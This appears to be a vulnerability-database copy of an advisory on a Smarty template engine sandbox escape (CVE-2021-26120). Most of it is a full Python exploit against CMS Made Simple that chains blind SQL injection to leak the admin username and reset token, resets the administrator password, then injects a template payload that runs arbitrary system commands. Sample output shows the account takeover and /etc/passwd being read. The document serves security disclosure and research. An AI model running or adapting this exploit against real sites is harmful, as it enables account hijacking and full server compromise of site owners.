Lucene search

K
srcinciteSteven Seeley (mr_me) of Qihoo 360 Vulcan TeamSRC-2021-0010
HistoryJan 24, 2021 - 12:00 a.m.

SRC-2021-0010 : Smarty Template Engine Smarty_Internal_Runtime_TplFunction Sandbox Escape Remote Code Execution Vulnerability

2021-01-2400:00:00
Steven Seeley (mr_me) of Qihoo 360 Vulcan Team
srcincite.io
55

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.011 Low

EPSS

Percentile

84.7%

Vulnerability Details:

This vulnerability allows remote attackers execute arbitrary code on affected installations of Smarty Template Engine. Authentication is context dependant and may not be required to exploit this vulnerability.

The specific flaw exists within the Smarty_Internal_Compile_Function class. The issue results from the lack of proper validation to the name property of a function definition. An attacker can leverage this vulnerability to escape the sandbox and execute arbitrary php code.

Affected Vendors:

Smarty

Affected Products:

Smarty Template Engine

Vendor Response:

Smarty has issued an update to correct this vulnerability. More details can be found at: <https://github.com/smarty-php/smarty/security/advisories/GHSA-3rpf-5rqv-689q&gt;

#!/usr/bin/env python3
"""
CMS Made Simple Serverside Template Injection Remote Code Execution Vulnerability
This is a demonstration of CVE-2021-26120 (Smarty Template Engine Smarty_Internal_Runtime_TplFunction Sandbox Escape PHP Code Injection)
Written by: Steven Seeley of Qihoo 360 Vulcan Team
Exploit tested against: CMS Made Simple 2.2.9 "Blow Me Down"
Download: http://s3.amazonaws.com/cmsms/downloads/14316/cmsms-2.2.9.1-install.zip

Bug 1: CVE-2019-9053
    - An unauthenticated user can trigger an sql injection and reset the administrators password to bypass authentication
    - Works on: <= 2.2.9.1 "Blow Me Down"
    
Bug 2: CVE-2021-26120
    - A user that is authenticated with designer permissions can trigger a serverside template injection and gain remote code execution 
      by escaping the sandbox of the Smarty Template Engine by leveraging the function 'name' property
    - Works on: <= 2.2.15 "Bonaventure" (latest) and impacts Smarty <= 3.1.38 (latest)

# Notes

- *WARNING* The administrator's password will be reset to the administrator's username. Use at your own risk.
- This poc resets the password for user_id 1 which is probably the administrator
- Whilst leaking hashes is not as bold as reseting the administrator's password, it's not guaranteed to get you in

# Example

researcher@incite:~/cmsms$ ./poc.py
(+) usage: ./poc.py(+) eg: ./poc.py 192.168.75.141 / id
(+) eg: ./poc.py 192.168.75.141 /cmsms/ "uname -a"

researcher@incite:~/cmsms$ ./poc.py 192.168.75.141 /cmsms/ "id;uname -a;pwd;head /etc/passwd"
(+) targeting http://192.168.75.141/cmsms/
(+) sql injection working!
(+) leaking the username...
(+) username: admin
(+) resetting the admin's password stage 1
(+) leaking the pwreset token...
(+) pwreset: 35f56698a2c3371eff7f38f34f001503
(+) done, resetting the admin's password stage 2
(+) logging in...
(+) leaking simplex template...
(+) injecting payload and executing cmd...

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux target 5.8.0-40-generic #45-Ubuntu SMP Fri Jan 15 11:05:36 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
/var/www/html/cmsms
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

# References

- Daniele Scanu @ Certimeter Group's poc at https://www.exploit-db.com/exploits/46635
"""

import requests
import sys
import re
from time import sleep
from lxml import etree

def login(s, t, usr):
    uri = "%sadmin/login.php" % t
    s.get(uri)
    d = {
        "username" : usr,
        "password" : usr,
        "loginsubmit" : "Submit"
    }
    r = s.post(uri, data=d)
    match = re.search("style.php\?__c=(.*)\"", r.text)
    assert match, "(-) login failed"
    return match.group(1)

def trigger_or_patch_ssti(s, csrf, t, tpl):
    # CVE-2021-26120 
    d = {
        "mact": 'DesignManager,m1_,admin_edit_template,0',
        "__c" : csrf,
        "m1_tpl" : 10,
        "m1_submit" : "Submit",
        "m1_name" : "Simplex",
        "m1_contents" : tpl
    }
    r = s.post("%sadmin/moduleinterface.php" % t, files={}, data=d)
    if "rce()" in tpl:
        r = s.get("%sindex.php" % t)
        assert ("endrce" in r.text), "(-) rce failed!"
        cmdr = r.text.split("endrce")[0]
        print(cmdr.strip())

def determine_bool(t, exp):
    p = {
       "mact" : "News,m1_,default,0",
       "m1_idlist": ",1)) and %s-- " % exp
    }
    r = requests.get("%smoduleinterface.php" % t, params=p) 
    return True if r.text.count("Posted by:") == 2 else False

def trigger_sqli(t, char, sql, c_range):
    # CVE-2019-9053
    for i in c_range:
        # <> characters are html escaped so we just have =
        # substr w/ from/for because anymore commas and the string is broken up resulting in an invalid query
        if determine_bool(t, ",1)) and ascii(substr((%s) from %d for 1))=%d-- " % (sql, char, i)): return chr(i) 
    return -1
    
def leak_string(t, sql, leak_name, max_length, c_range):
    sys.stdout.write("(+) %s: " % leak_name)
    sys.stdout.flush()
    leak_string = ""
    for i in range(1,max_length+1):
        c = trigger_sqli(t, i, sql, c_range)
        # username is probably < 25 characters
        if c == -1:
            break
        leak_string += c
        sys.stdout.write(c)
        sys.stdout.flush()
    assert len(leak_string) > 0, "(-) sql injection failed for %s!" % leak_name
    return leak_string    
    
def reset_pwd_stage1(t, usr):
    d = {
        "forgottenusername" : usr,
        "forgotpwform" : 1,
    }
    r = requests.post("%sadmin/login.php" % t, data=d)
    assert ("User Not Found" not in r.text), "(-) password reset failed!"

def reset_pwd_stage2(t, usr, key):
    d = {
        "username" : usr,
        "password" : usr,      # just reset to the username
        "passwordagain" : usr, # just reset to the username
        "changepwhash" : key,
        "forgotpwchangeform": 1,
        "loginsubmit" : "Submit",
    }
    r = requests.post("%sadmin/login.php" % t, data=d)
    match = re.search("Welcome:(.*)<\/a>", r.text)
    assert match, "(-) password reset failed!"
    assert match.group(1) == usr, "(-) password reset failed!"

def leak_simplex(s, t, csrf):
    p = {
        "mact" : "DesignManager,m1_,admin_edit_template,0",
        "__c" : csrf,
        "m1_tpl" : 10
    }
    r = s.get("%sadmin/moduleinterface.php" % t, params=p)
    page = etree.HTML(r.text)
    tpl = page.xpath("//textarea//text()")
    assert tpl is not None, "(-) leaking template failed!"
    return "".join(tpl)

def remove_locks(s, t, csrf):
    p = {
        "mact" : "DesignManager,m1_,admin_clearlocks,0",
        "__c" : csrf,
        "m1_type" : "template"
    }
    s.get("%sadmin/moduleinterface.php" % t, params=p)

def main():
    if(len(sys.argv) < 4):
        print("(+) usage: %s" % sys.argv[0])
        print("(+) eg: %s 192.168.75.141 / id" % sys.argv[0])
        print("(+) eg: %s 192.168.75.141 /cmsms/ \"uname -a\"" % sys.argv[0])
        return
    pth = sys.argv[2]
    cmd = sys.argv[3]
    pth = pth + "/" if not pth.endswith("/") else pth
    pth = "/" + pth if not pth.startswith("/") else pth
    target = "http://%s%s" % (sys.argv[1], pth)
    print("(+) targeting %s" % target)
    if determine_bool(target, "1=1") and not determine_bool(target, "1=2"):
        print("(+) sql injection working!")
    print("(+) leaking the username...")
    username = leak_string(
        target,
        "select username from cms_users where user_id=1",
        "username",
        25, # username column is varchar(25) in the db
        list(range(48,58)) + list(range(65,91)) + list(range(97,123)) # charset: 0-9A-Za-z
    )
    print("\n(+) resetting the %s's password stage 1" % username)
    reset_pwd_stage1(target, username)
    print("(+) leaking the pwreset token...")
    pwreset = leak_string(
        target,
        "select value from cms_userprefs where preference=0x70777265736574 and user_id=1", # qoutes will break things
        "pwreset",
        32, # md5 hash is always 32
        list(range(48,58)) + list(range(97,103)) # charset: 0-9a-f
    )
    print("\n(+) done, resetting the %s's password stage 2" % username)
    reset_pwd_stage2(target, username, pwreset)
    session = requests.Session()
    print("(+) logging in...")
    csrf = login(session, target, username)
    print("(+) leaking simplex template...")
    remove_locks(session, target, csrf)
    simplex_tpl = leak_simplex(session, target, csrf)
    print("(+) injecting payload and executing cmd...\n")
    rce_tpl = "{function name='rce(){};system(\"%s\");function '}{/function}endrce" % cmd
    trigger_or_patch_ssti(session, csrf, target, rce_tpl+simplex_tpl)
    while True:
        r = session.get("%sindex.php" % target)
        if "endrce" not in r.text:
            break
        trigger_or_patch_ssti(session, csrf, target, simplex_tpl)

if __name__ == '__main__':
    main()

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.011 Low

EPSS

Percentile

84.7%